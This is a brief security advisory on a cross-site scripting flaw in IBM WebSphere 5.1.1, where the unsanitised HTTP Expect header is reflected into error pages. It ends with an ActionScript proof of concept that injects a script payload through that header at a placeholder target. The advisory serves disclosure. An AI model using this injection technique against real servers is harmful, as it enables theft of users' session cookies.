IBM WebSphere Application Server 5.1.1 WebContainer HTTP Request Header Security Weakness



source: http://www.securityfocus.com/bid/26457/info


IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks. 

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");